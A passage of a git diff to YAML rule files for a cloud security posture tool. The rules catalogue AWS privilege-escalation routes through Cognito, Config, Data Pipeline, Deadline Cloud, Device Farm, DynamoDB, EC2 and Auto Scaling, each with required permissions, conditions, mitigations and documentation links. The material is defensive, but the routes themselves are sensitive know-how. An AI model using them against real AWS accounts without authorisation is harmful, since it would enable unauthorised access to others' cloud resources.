src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md#cognito-identityupdateidentitypool + source_revision: ad04436fdb + summary: A source that can enable Basic authentication on a developer identity pool and mint its token can exchange that token through STS for a role that trusts the pool. + requires: + all_of: + - action: cognito-identity:UpdateIdentityPool + resource: "{target.attached_resource_arn}" + - action: cognito-identity:GetOpenIdTokenForDeveloperIdentity + resource: "{target.attached_resource_arn}" + target: + kind: aws_role + selector: + cognito_developer_enable_classic_role: true + scope: any + aggregate_as: "Roles reachable after enabling Basic authentication in {account}" + outcome: credentials + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Restrict identity-pool updates and developer-token issuance to approved backend roles, and keep Basic authentication disabled where it is unnecessary. + references: + - https://docs.aws.amazon.com/cognitoidentity/latest/APIReference/API_UpdateIdentityPool.html + - https://docs.aws.amazon.com/cognito/latest/developerguide/developer-authenticated-identities.html + - https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html + notes: The collected pool must have a developer provider and enough configuration to preserve required UpdateIdentityPool fields. The selector verifies both permissions on the same pool and matching target trust. Cross-account roles need explicit aud and amr trust conditions. + +- id: aws-cognito-updateidentitypool-enable-guest-classic-role + provider: aws + service: cognito-identity + title: Enable guest Basic flow and assume a role trusting the pool + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md#cognito-identityupdateidentitypool + source_revision: c111ee5412 + summary: A source that can update an identity pool can enable guest and Basic authentication, obtain a guest token, and assume an IAM role that trusts the pool's unauthenticated web identity. + requires: + all_of: + - action: cognito-identity:UpdateIdentityPool + resource: "{target.attached_resource_arn}" + source_kind: [aws_user, aws_role] + target: + kind: aws_role + selector: + cognito_guest_update_classic_role: true + scope: any + aggregate_as: "Roles reachable after enabling guest Basic flow in {account}" + outcome: credentials + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Restrict identity-pool updates to approved administrators, and allow guest Basic flow only where the trusted roles have deliberately limited permissions. + references: + - https://docs.aws.amazon.com/cognitoidentity/latest/APIReference/API_UpdateIdentityPool.html + - https://docs.aws.amazon.com/cognito/latest/developerguide/authentication-flow.html + - https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html + notes: The collected pool needs a usable name, no role mappings and at least one of guest access or Basic flow currently disabled. The source must be able to update that exact pool; no token-mint IAM permission is needed for a guest. The target role must trust the pool audience and unauthenticated method. Cross-account roles require both conditions explicitly. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/config.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/config.yaml index 3a7cc0ed1a..41732655af 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/config.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/config.yaml @@ -13,15 +13,13 @@ title: Attach an automatic remediation that runs an Automation document as a passed role source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-config-privesc/README.md#privilege-escalation-through-automatic-remediation source_revision: 171e422299 - summary: The source can obtain the privileges of any passable role trusting ssm.amazonaws.com by attaching an automatic remediation that runs its own Automation document as that role. + summary: The source can cause an automatic remediation on an existing AWS Config rule to run an Automation document with a passable role when that document performs a useful privileged action. requires: all_of: - action: iam:PassRole resource: "{target.arn}" - - action: config:PutRemediationConfigurations - resource: "*" - - action: ssm:CreateDocument - resource: "*" + request_context: + iam:PassedToService: ssm.amazonaws.com target: kind: aws_role selector: @@ -30,13 +28,15 @@ scope: same_account aggregate_as: "Roles trusting ssm.amazonaws.com passable in {account}" outcome: workload_execution + preconditions: + - config_automatic_remediation_effect_unverified conditions: - id: noncompliant_rule - description: A Config rule must report a non-compliant resource (an existing rule, or config:PutConfigRule), with the configuration recorder running; config:StartConfigRulesEvaluation only speeds it up. + description: An existing non-service-linked Config rule must have a noncompliant resource in its compliance snapshot, with the configuration recorder running. - id: automatic_mode description: Only Automatic=true remediation runs through AWSServiceRoleForConfigRemediation as the passed role and checks iam:PassRole; manual remediation runs as the initiating principal and gives nothing extra. The service-linked role must exist or the source needs iam:CreateServiceLinkedRole. - id: document_reuse - description: Reusing an existing Automation document that performs a useful privileged step removes the need for ssm:CreateDocument (not modelled; a false negative). + description: The source may use an existing Automation document; ssm:CreateDocument is required only when the source creates a new one. - id: passrole_condition_key description: iam:PassedToService conditions may restrict which roles can be passed. blockers: @@ -47,4 +47,4 @@ references: - https://docs.aws.amazon.com/config/latest/developerguide/remediation.html - https://docs.aws.amazon.com/config/latest/developerguide/setup-autoremediation.html - notes: Automatic remediation works even when the source is explicitly denied ssm:StartAutomationExecution. The classic config:PutRemediationConfigurations + iam:PassRole subsection is covered by this entry. + notes: Automatic remediation works even when the source is explicitly denied ssm:StartAutomationExecution. A concrete role path requires exact PutRemediationConfigurations authorization, the existing rule, a runnable document using AutomationAssumeRole with the passed role, and a fresh witnessed automatic remediation that performs a useful action. The classic config:PutRemediationConfigurations + iam:PassRole subsection is covered by this entry; missing joins stay UNKNOWN. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/datapipeline.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/datapipeline.yaml index c98927ccc3..a494f02341 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/datapipeline.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/datapipeline.yaml @@ -18,12 +18,10 @@ all_of: - action: iam:PassRole resource: "{target.arn}" + request_context: + iam:PassedToService: ec2.amazonaws.com - action: datapipeline:CreatePipeline resource: "*" - - action: datapipeline:PutPipelineDefinition - resource: "*" - - action: datapipeline:ActivatePipeline - resource: "*" target: kind: aws_role selector: @@ -32,11 +30,13 @@ scope: same_account aggregate_as: "EC2 instance-profile roles in {account} (Data Pipeline resource role)" outcome: workload_execution + preconditions: + - datapipeline_existing_customer_role_pair_and_runnable_ec2 conditions: - id: passable_pipeline_role - description: iam:PassRole must also cover a pipeline role trusting datapipeline.amazonaws.com (and elasticmapreduce.amazonaws.com for EMR resources) that can launch the resources. + description: iam:PassRole must also cover a separate pipeline role trusting datapipeline.amazonaws.com; PutPipelineDefinition and ActivatePipeline must be allowed on the generated pipeline ARN. - id: service_availability - description: AWS Data Pipeline is closed to new customers (since 2024); only accounts already using it can create pipelines. + description: AWS Data Pipeline is closed to new customers (since July 2025); only accounts already using it can create pipelines. blockers: - scp_or_boundary_deny confidence: conditional @@ -44,4 +44,4 @@ mitigation: Restrict iam:PassRole and Data Pipeline write actions; migrate off Data Pipeline. references: - https://docs.aws.amazon.com/datapipeline/latest/DeveloperGuide/dp-iam-roles.html - notes: The pipeline role (datapipeline principal) itself can also be targeted if a pipeline activity runs with it, but code execution happens on the resource role; only the resource role is modelled. + notes: The pipeline role (datapipeline principal) itself can also be targeted if a pipeline activity runs with it, but code execution happens on the resource role; only the resource role is modelled. CreatePipeline uses Resource=*, while PutPipelineDefinition and ActivatePipeline use the generated pipeline ARN. A concrete EC2 resource-role edge needs existing-customer eligibility, both role passes, a controlled ShellCommandActivity on an Ec2Resource, an activated pipeline, and a fresh witnessed useful role action from the launched instance; missing joins stay UNKNOWN. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/deadline.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/deadline.yaml index c8ef2859bb..afbe8dcbf8 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/deadline.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/deadline.yaml @@ -6,8 +6,103 @@ # AWS Deadline Cloud privilege escalation techniques. # Source: hacktricks-cloud aws-deadline-cloud-privesc/README.md (rev 171e422299). -# Queue and fleet roles trust credentials.deadline.amazonaws.com; attached_to_service names that principal directly -# because queue/fleet inventory is not collected (attachment resolves as unknown). +# Queue and fleet roles trust credentials.deadline.amazonaws.com. The existing-queue route +# uses collected queue-to-role bindings; new queue/fleet PassRole routes need separate joins. + +- id: aws-deadline-existing-queue-role-vend + provider: aws + service: deadline + title: Obtain the IAM role configured on an existing queue + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-deadline-cloud-privesc/README.md#queue-role-credential-vending + source_revision: 5508b27049 + summary: The source can request credentials for the exact IAM role configured on a Deadline Cloud queue when its IAM policy allows AssumeQueueRoleForUser on that queue. + requires: + all_of: [] + source_kind: [aws_user, aws_role] + target: + kind: aws_role + scope: same_account + aggregate_as: Queue roles reachable through Deadline Cloud in {account} + outcome: credentials + preconditions: + - deadline_existing_queue_role_vend + conditions: + - id: queue_role_session + description: The configured role must still trust the Deadline credentials service for the exact farm, and the queue API must vend the credentials. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Limit deadline:AssumeQueueRoleForUser to the queues a principal needs and keep queue roles narrow. + references: + - https://docs.aws.amazon.com/deadline-cloud/latest/APIReference/API_AssumeQueueRoleForUser.html + - https://docs.aws.amazon.com/deadline-cloud/latest/APIReference/API_GetQueue.html + - https://docs.aws.amazon.com/deadline-cloud/latest/userguide/permissions-overview.html + notes: The evaluator binds ListFarms, ListQueues and GetQueue to one farm, queue and role, checks the caller's IAM grant on the exact queue ARN, and evaluates the role's service trust with that farm ARN. It does not infer access from Deadline monitor membership or a Resource=* grant alone. + +- id: aws-deadline-existing-worker-role-vend + provider: aws + service: deadline + title: Obtain the IAM role configured on an existing worker's fleet + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-deadline-cloud-privesc/README.md#deadlineassumefleetroleforworker-on-an-existing-worker + source_revision: b9af68e3e9 + summary: The source can request credentials for the exact IAM role configured on an existing Deadline Cloud worker's fleet when IAM allows AssumeFleetRoleForWorker on that worker. + requires: + all_of: [] + source_kind: [aws_user, aws_role] + target: + kind: aws_role + scope: same_account + aggregate_as: Fleet worker roles reachable through Deadline Cloud in {account} + outcome: credentials + preconditions: + - deadline_existing_worker_role_vend + conditions: + - id: worker_role_session + description: The fleet role must trust the Deadline credentials service for the farm and the worker credential API must accept the request. Additional unrelated role policies are not proven effective. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Limit AssumeFleetRoleForWorker to the worker hosts that need each fleet. + references: + - https://docs.aws.amazon.com/deadline-cloud/latest/APIReference/API_AssumeFleetRoleForWorker.html + - https://docs.aws.amazon.com/deadline-cloud/latest/APIReference/API_GetFleet.html + - https://docs.aws.amazon.com/deadline-cloud/latest/APIReference/API_ListWorkers.html + - https://docs.aws.amazon.com/deadline-cloud/latest/userguide/security-iam-service-roles.html + notes: The evaluator binds ListFarms, ListFleets, GetFleet and ListWorkers to one farm, fleet, worker and role; checks AssumeFleetRoleForWorker on the exact worker ARN and the target role's farm-scoped service trust. It does not infer unrelated permissions from the role's attached policies. + +- id: aws-deadline-new-worker-existing-fleet-role-vend + provider: aws + service: deadline + title: Obtain an existing fleet's role by registering a worker + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-deadline-cloud-privesc/README.md#deadlinecreateworker-and-deadlineassumefleetroleforworker-on-an-existing-fleet + source_revision: 7d5d4dc90f + summary: The source can register a worker on an existing customer-managed fleet and request its role credentials when the worker grants cover every generated worker ID and the worker-creation dependent permissions are present. + requires: + all_of: [] + source_kind: [aws_user, aws_role] + target: + kind: aws_role + scope: same_account + aggregate_as: Existing fleet worker roles reachable through Deadline Cloud in {account} + outcome: credentials + preconditions: + - deadline_new_worker_role_vend + conditions: + - id: new_worker_role_session + description: The active customer-managed fleet must have capacity, the role must trust the Deadline credentials service for that farm, and the new worker credential request must succeed. Unrelated attached role permissions are not proven effective. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Limit worker creation and credential vending to the intended worker hosts for each fleet. + references: + - https://docs.aws.amazon.com/deadline-cloud/latest/APIReference/API_CreateWorker.html + - https://docs.aws.amazon.com/deadline-cloud/latest/APIReference/API_AssumeFleetRoleForWorker.html + - https://docs.aws.amazon.com/deadline-cloud/latest/APIReference/API_GetFleet.html + - https://docs.aws.amazon.com/aws-managed-policy/latest/reference/AWSDeadlineCloud-WorkerHost.html + notes: The evaluator joins one existing fleet to its role, checks farm-scoped service trust and capacity, requires ListTagsForResource on the fleet, and checks broad CreateWorker, AssumeFleetRoleForWorker and TagResource grants covering the whole generated worker-ID family. It does not infer access from a grant on a chosen or existing worker ID. - id: aws-deadline-passrole-createqueue-updatequeue provider: aws @@ -15,31 +110,20 @@ title: Attach a passed role to a queue and vend its credentials source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-deadline-cloud-privesc/README.md#deadlinecreatequeueupdatequeue--iampassrole--deadlineassumequeueroleforuser source_revision: 171e422299 - summary: The source can obtain the privileges of any passable role trusting credentials.deadline.amazonaws.com. + summary: A caller able to change one existing queue's role, pass an eligible role to Deadline Cloud, and request that queue's credentials may receive the new queue-role credentials. Creating a queue needs separate proof of its generated queue identity. requires: - all_of: - - action: iam:PassRole - resource: "{target.arn}" - - action: deadline:AssumeQueueRoleForUser - resource: "*" - any_of: - - - action: deadline:CreateQueue - resource: "*" - - - action: deadline:UpdateQueue - resource: "*" + all_of: [] + source_kind: [aws_user, aws_role] target: kind: aws_role - selector: - trust_allows_service: credentials.deadline.amazonaws.com - resource_permission_covers_target: iam:PassRole scope: same_account - aggregate_as: "Roles trusting credentials.deadline.amazonaws.com passable in {account}" + aggregate_as: "Queue roles reachable through Deadline Cloud in {account}" outcome: credentials + preconditions: + - deadline_passrole_queue_role_vend conditions: - - id: passrole_condition_key - description: iam:PassedToService conditions may restrict which roles can be passed. - - id: farm_access - description: The source needs a farm it can create or update queues in and queue membership allowing credential vending. + - id: queue_role_session + description: The role update and credential request must succeed on the same queue; queue membership and live service state may still limit use. blockers: - scp_or_boundary_deny confidence: conditional @@ -48,47 +132,38 @@ references: - https://docs.aws.amazon.com/deadline-cloud/latest/APIReference/API_CreateQueue.html - https://docs.aws.amazon.com/deadline-cloud/latest/APIReference/API_UpdateQueue.html - notes: Reach is roles trusting credentials.deadline.amazonaws.com in PassRole scope. + notes: The evaluator joins an existing farm and queue to its exact ARN, checks UpdateQueue and AssumeQueueRoleForUser there, and PassRole to deadline.amazonaws.com on the target role. A queue already using that role belongs to the existing-queue route. CreateQueue remains unresolved because AWS generates its queue ID and the current inventory cannot bind that future queue to a later credential request. - id: aws-deadline-passrole-fleet-createworker provider: aws service: deadline - title: Attach a passed role to a fleet and vend it to a registered worker + title: Obtain fleet worker credentials through a passed role source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-deadline-cloud-privesc/README.md#deadlinecreatefleetupdatefleet--iampassrole--deadlinecreateworker--deadlineassumefleetroleforworker - source_revision: 171e422299 - summary: The source can obtain the privileges of any passable role trusting credentials.deadline.amazonaws.com through a customer-managed fleet worker it registers. + source_revision: d4ab3fa4e4 + summary: A caller that configures a customer-managed fleet and receives its worker credentials may gain a specific Deadline worker operation it could not perform directly. Unrelated IAM permissions attached to the fleet role are not included. requires: - all_of: - - action: iam:PassRole - resource: "{target.arn}" - - action: deadline:CreateWorker - resource: "*" - - action: deadline:AssumeFleetRoleForWorker - resource: "*" - any_of: - - - action: deadline:CreateFleet - resource: "*" - - - action: deadline:UpdateFleet - resource: "*" + all_of: [] + source_kind: [aws_user, aws_role] target: - kind: aws_role + kind: aws_verified_authority selector: - trust_allows_service: credentials.deadline.amazonaws.com - resource_permission_covers_target: iam:PassRole + aws_challenge_fact: aws-deadline-passrole-fleet-createworker scope: same_account - aggregate_as: "Roles trusting credentials.deadline.amazonaws.com passable in {account}" - outcome: credentials + aggregate_as: "Verified Deadline worker permissions in {account}" + outcome: bounded_authority + grants: ["One observed Deadline worker operation on the exact worker"] + preconditions: + - deadline_fleet_worker_bounded_authority_reviewed conditions: - - id: passrole_condition_key - description: iam:PassedToService conditions may restrict which roles can be passed. - - id: customer_managed_fleet - description: Worker registration and fleet-role vending apply to customer-managed fleets. + - id: exact_verified_worker_authority + description: Fresh reviewed evidence must bind the farm, fleet, worker, passed role, accepted configuration and registration, vended credentials, and a specific worker operation unavailable directly to the caller. blockers: - scp_or_boundary_deny confidence: conditional - severity: critical - mitigation: Restrict iam:PassRole on Deadline Cloud fleet roles and deadline:CreateWorker / AssumeFleetRoleForWorker to the worker host identities. + severity: high + mitigation: Limit fleet-role passing and worker registration or credential vending to the intended fleet administrators and worker hosts. references: - https://docs.aws.amazon.com/deadline-cloud/latest/APIReference/API_CreateFleet.html - https://docs.aws.amazon.com/deadline-cloud/latest/APIReference/API_AssumeFleetRoleForWorker.html - notes: Reach is roles trusting credentials.deadline.amazonaws.com in PassRole scope. + - https://docs.aws.amazon.com/deadline-cloud/latest/userguide/security-iam-service-roles.html + notes: The target is only the observed new worker operation on the exact worker. Resource-scoped CreateFleet or UpdateFleet, CreateWorker, AssumeFleetRoleForWorker, dependent permissions and PassRole are checked against the same farm, fleet, worker and role from reviewed evidence. Missing or stale evidence stays unresolved. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/devicefarm.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/devicefarm.yaml index 8175984a56..0e2402af48 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/devicefarm.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/devicefarm.yaml @@ -13,33 +13,33 @@ title: Run a custom test with a passed execution role source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-device-farm-privesc/README.md#devicefarmcreateprojectupdateprojectschedulerun--iampassrole source_revision: 171e422299 - summary: The source can obtain the privileges of any passable role trusting devicefarm.amazonaws.com by scheduling a run with a test specification it controls. + summary: The source can create a web test package and custom test specification in an existing Device Farm project, then schedule them on a compatible pool with a passed execution role. requires: all_of: - action: iam:PassRole resource: "{target.arn}" - - action: devicefarm:ScheduleRun - resource: "*" - - action: devicefarm:CreateUpload - resource: "*" + request_context: + iam:PassedToService: devicefarm.amazonaws.com target: kind: aws_role selector: trust_allows_service: devicefarm.amazonaws.com - resource_permission_covers_target: iam:PassRole scope: same_account - aggregate_as: "Roles trusting devicefarm.amazonaws.com passable in {account}" + aggregate_as: "Roles runnable through a compatible Device Farm project in {account}" outcome: workload_execution + preconditions: + - devicefarm_existing_project_new_web_test_role conditions: - - id: project_available - description: A project the source can schedule runs in (existing, or devicefarm:CreateProject) and a compatible device or device pool are required. - - id: passrole_condition_key - description: iam:PassedToService conditions may restrict which roles can be passed. + - id: exact_project_and_pool + description: A collected existing project has a device pool with at least one web test compatible device, and the source can create uploads in that project and schedule runs on that project and pool. + - id: generated_upload_scope + description: ScheduleRun permission covers every generated package and test-spec upload ARN in the selected project; scoped or conditional grants that cannot be proved remain unresolved. blockers: - scp_or_boundary_deny confidence: conditional severity: high mitigation: Restrict iam:PassRole on Device Farm execution roles with iam:PassedToService and specific role ARNs; limit run scheduling to CI. references: - - https://docs.aws.amazon.com/devicefarm/latest/developerguide/custom-test-environment-iam-roles.html - notes: The role can be set on the project (CreateProject / UpdateProject) or overridden per run (ScheduleRun configuration). + - https://docs.aws.amazon.com/devicefarm/latest/developerguide/custom-test-environments-iam-roles.html + - https://docs.aws.amazon.com/devicefarm/latest/APIReference/API_GetDevicePoolCompatibility.html + notes: This route uses an existing project and a run-level executionRoleArn. Creating a new project, editing an existing test specification, and using a project-default role are distinct paths requiring their own joins. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/dynamodb.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/dynamodb.yaml new file mode 100644 index 0000000000..39f8c06ec0 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/dynamodb.yaml @@ -0,0 +1,35 @@ +# Amazon DynamoDB table-policy permission gain for an exact same-account IAM user. +# Source: hacktricks-cloud aws-dynamodb-privesc/README.md (rev fd9bf8863b). + +- id: aws-dynamodb-putresourcepolicy-self-getitem + provider: aws + service: dynamodb + title: Grant the caller permission to read items from a table + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc/README.md#dynamodbputresourcepolicy-and-optionally-dynamodbgetresourcepolicy + source_revision: fd9bf8863b + summary: A same-account IAM user who can replace one table policy can name itself and gain GetItem on that table. + source_kind: [aws_user] + requires: + all_of: + - action: dynamodb:PutResourcePolicy + resource: "{target.arn}" + target: + kind: aws_verified_authority + selector: + aws_dynamodb_policy_self_grant: true + scope: same_account + outcome: permission_grant + grants: ["dynamodb:GetItem on the exact reviewed table"] + aggregate_as: "DynamoDB GetItem self-grants in {account}" + conditions: + - id: table_policy_propagation + description: The new resource policy may take time to become effective; no item read is observed. + blockers: [] + confidence: conditional + severity: high + mitigation: Restrict dynamodb:PutResourcePolicy on sensitive tables and use explicit denies where a caller must never read items. + references: + - https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/rbac-auth-iam-id-based-policies-DDB.html + - https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/rbac-iam-actions.html + - https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_PutResourcePolicy.html + notes: Only an exact collected active table using the default AWS-owned encryption and a same-account IAM user with effective PutResourcePolicy, no prior GetItem and no surviving identity, boundary or organization deny qualify. Replacing the table policy can remove an old table-policy Deny. A direct user grant bypasses a boundary's implicit deny; an explicit boundary Deny still blocks it. An existing account-root Allow only delegates to IAM and is not prior user access. Tables using AWS-managed or customer-managed KMS keys remain unresolved until key authorization is joined. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/ec2.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/ec2.yaml index 047c66a40b..871a59d52b 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/ec2.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/ec2.yaml @@ -10,16 +10,13 @@ - id: aws-ec2-passrole-runinstances provider: aws service: ec2 + source_kind: [aws_user, aws_role] title: Launch an EC2 instance with a passed instance profile source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md#iampassrole-ec2runinstances source_revision: 171e422299 summary: The source can launch an EC2 instance it controls with a passable instance profile and may run code using the attached role. requires: - all_of: - - action: iam:PassRole - resource: "{target.arn}" - - action: ec2:RunInstances - resource: "*" + all_of: [] target: kind: aws_role selector: @@ -28,6 +25,8 @@ scope: same_account aggregate_as: "Roles trusting ec2.amazonaws.com with an instance profile in {account}" outcome: workload_execution + preconditions: + - ec2_runinstances_instance_role_effect_reviewed conditions: - id: passrole_condition_key description: iam:PassedToService / iam:AssociatedResourceArn conditions may restrict this. @@ -40,7 +39,7 @@ mitigation: Restrict iam:PassRole on EC2 roles with iam:PassedToService and specific role ARNs; require IMDSv2 and monitor RunInstances with instance profiles. references: - https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_switch-role-ec2.html - notes: Creating a new instance profile for a role without one additionally needs iam:CreateInstanceProfile and iam:AddRoleToInstanceProfile. + notes: RunInstances authorizes every resource in one launch request, including the image, generated instance, subnet, security group, network interface and storage resources when applicable. A role edge needs the exact accepted launch request, a profile carrying the target role, observed execution of controlled user data and a useful role action unavailable directly to the source. Evaluate PassRole with both iam:PassedToService and iam:AssociatedResourceArn for the launched instance. Creating a new instance profile for a role without one additionally needs iam:CreateInstanceProfile and iam:AddRoleToInstanceProfile. - id: aws-ec2-passrole-associate-instance-profile provider: aws @@ -86,28 +85,26 @@ - id: aws-ec2-requestspotinstances-passrole provider: aws service: ec2 + source_kind: [aws_user, aws_role] title: Request a Spot Instance with a passed instance profile source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md#ec2requestspotinstances-iampassrole source_revision: 171e422299 summary: The source can request a Spot Instance it controls with a passable instance profile and may run code using the attached role. requires: - all_of: - - action: iam:PassRole - resource: "{target.arn}" - - action: ec2:RequestSpotInstances - resource: "*" + all_of: [] target: kind: aws_role selector: trust_allows_service: ec2.amazonaws.com has_instance_profile: true - resource_permission_covers_target: iam:PassRole scope: same_account aggregate_as: "Roles trusting ec2.amazonaws.com with an instance profile in {account}" outcome: workload_execution + preconditions: + - ec2_spot_request_instance_role_effect_reviewed conditions: - id: passrole_condition_key - description: iam:PassedToService conditions may restrict which roles can be passed. + description: iam:PassedToService and iam:AssociatedResourceArn may restrict which role can be passed to the launched instance. - id: spot_service_linked_role description: The first Spot request in an account also needs iam:CreateServiceLinkedRole for spot.amazonaws.com when AWSServiceRoleForEC2Spot does not exist yet; ec2:CreateFleet / RequestSpotFleet are not a bypass because the fleet authorizes ec2:RunInstances as the caller. blockers: @@ -117,7 +114,7 @@ mitigation: Restrict iam:PassRole on EC2 roles with iam:PassedToService, and restrict ec2:RequestSpotInstances. references: - https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazonec2.html - notes: The Service Authorization Reference lists only ec2:CreateTags and iam:PassRole as dependent actions of ec2:RequestSpotInstances; ec2:RunInstances is not evaluated for the Spot request, so this edge is distinct from aws-ec2-passrole-runinstances. + notes: RequestSpotInstances authorizes the selected image, generated Spot request and launch resources, with iam:PassRole on the instance role; ec2:RunInstances is a separate API. A role edge needs one accepted request, a launched member instance with the target profile, executed controlled user data and a useful role action unavailable directly to the source. PassRole is evaluated with the exact instance as iam:AssociatedResourceArn. Caller grants alone leave the route unresolved. - id: aws-ec2-modifyinstanceattribute-userdata provider: aws @@ -192,35 +189,13 @@ - id: aws-ec2-autoscaling-create-update-asg-passrole provider: aws service: ec2 - title: Create a launch configuration or template with a passed role and launch it through Auto Scaling + title: Launch an Auto Scaling instance with a passed role source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md#autoscalingcreatelaunchconfiguration--ec2createlaunchtemplate--iampassrole-autoscalingcreateautoscalinggroup--autoscalingupdateautoscalinggroup source_revision: 171e422299 - summary: The source can have Auto Scaling launch an instance from a configuration it controls with a passable instance profile. + summary: A caller can configure an Auto Scaling group to launch an instance using a passable instance-profile role, then run controlled code under that role when the launch and code execution are observed. requires: - all_of: - - action: iam:PassRole - resource: "{target.arn}" - any_of: - - - action: autoscaling:CreateLaunchConfiguration - resource: "*" - - action: autoscaling:CreateAutoScalingGroup - resource: "*" - - - action: autoscaling:CreateLaunchConfiguration - resource: "*" - - action: autoscaling:UpdateAutoScalingGroup - resource: "*" - - - action: ec2:CreateLaunchTemplate - resource: "*" - - action: ec2:RunInstances - resource: "*" - - action: autoscaling:CreateAutoScalingGroup - resource: "*" - - - action: ec2:CreateLaunchTemplate - resource: "*" - - action: ec2:RunInstances - resource: "*" - - action: autoscaling:UpdateAutoScalingGroup - resource: "*" + all_of: [] + source_kind: [aws_user, aws_role] target: kind: aws_role selector: @@ -229,17 +204,21 @@ scope: same_account aggregate_as: "Roles trusting ec2.amazonaws.com with an instance profile in {account}" outcome: workload_execution + preconditions: + - autoscaling_created_launch_input_role_effect_reviewed conditions: - - id: launch_configurations_deprecated - description: New accounts cannot create launch configurations (deprecated since 2023-2024); the launch-template groups apply there. + - id: exact_launch_and_role_effect + description: Fresh reviewed evidence must join a controlled launch configuration or template, the Auto Scaling group that accepted it, the launched instance and a useful action executed under the exact instance role. blockers: - scp_or_boundary_deny confidence: conditional severity: critical - mitigation: Restrict iam:PassRole on EC2 roles; Auto Scaling validates the caller's ec2:RunInstances and iam:PassRole for launch templates. + mitigation: Limit who can pass EC2 instance roles and choose launch inputs for Auto Scaling groups; pin launch-template versions where possible. references: - https://docs.aws.amazon.com/autoscaling/ec2/userguide/ec2-auto-scaling-launch-template-permissions.html - notes: The template variant with ec2:RunInstances is already enough for aws-ec2-passrole-runinstances; it is kept to record the documented combination. + - https://docs.aws.amazon.com/autoscaling/ec2/userguide/launch-configurations.html + - https://docs.aws.amazon.com/service-authorization/latest/reference/list_autoscaling.html + notes: CreateLaunchConfiguration and CreateLaunchTemplate are checked on the exact created ARN, and CreateAutoScalingGroup or UpdateAutoScalingGroup on the exact group ARN. The template branch also checks every recorded RunInstances authorization resource. The role pass is checked for ec2.amazonaws.com. A witnessed instance, applied profile, executed user data and useful role action are required. AWS no longer permits new launch configurations in accounts created on or after October 1, 2024; an accepted creation witness decides that branch. - id: aws-ec2-instance-connect-sendsshpublickey provider: aws @@ -275,7 +254,8 @@ mitigation: Restrict ec2-instance-connect:SendSSHPublicKey by instance and ec2:osuser; prefer SSM Session Manager with logging. references: - https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-connect-methods.html - notes: The permission, running state, Linux platform and enabled applied instance metadata must belong to the same instance carrying the target role; SSH reachability, EC2 Instance Connect installation and a usable OS user remain conditional. + - https://docs.aws.amazon.com/service-authorization/latest/reference/list_ec2-instance-connect.html + notes: The permission, running state, Linux platform and enabled applied instance metadata must belong to the same instance carrying the target role. A concrete conditional edge additionally needs fresh reviewed evidence that the pushed key was accepted, an SSH session used it as an IAM-allowed OS user, and that session could use credentials whose role ID matches the target. Without that witness, host access and role-credential use remain unresolved. - id: aws-ec2-passrole-requestspotfleet provider: aws @@ -283,33 +263,23 @@ title: Create a Spot Fleet with a passable EC2 instance-profile role source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md#spot-fleet-request source_revision: b587e6bd26 - summary: The source can run controlled code on Spot Fleet instances carrying a passable instance-profile role. + summary: A caller can request a Spot Fleet with a separate fleet role and a passable instance-profile role, then run controlled code under the instance role if a matching instance actually launches. requires: - all_of: - - action: iam:PassRole - resource: "{target.arn}" - - action: ec2:RequestSpotFleet - resource: "arn:{source.partition}:ec2:*:{source.account}:spot-fleet-request/*" - - action: ec2:RunInstances - resource: "arn:{source.partition}:ec2:*:{source.account}:instance/*" + all_of: [] + source_kind: [aws_user, aws_role] target: kind: aws_role selector: trust_allows_service: ec2.amazonaws.com has_instance_profile: true - resource_permission_covers_target: iam:PassRole scope: same_account aggregate_as: EC2 instance-profile roles passable to Spot Fleet in {account} outcome: workload_execution preconditions: - - ec2_spot_fleet_roles_ready + - 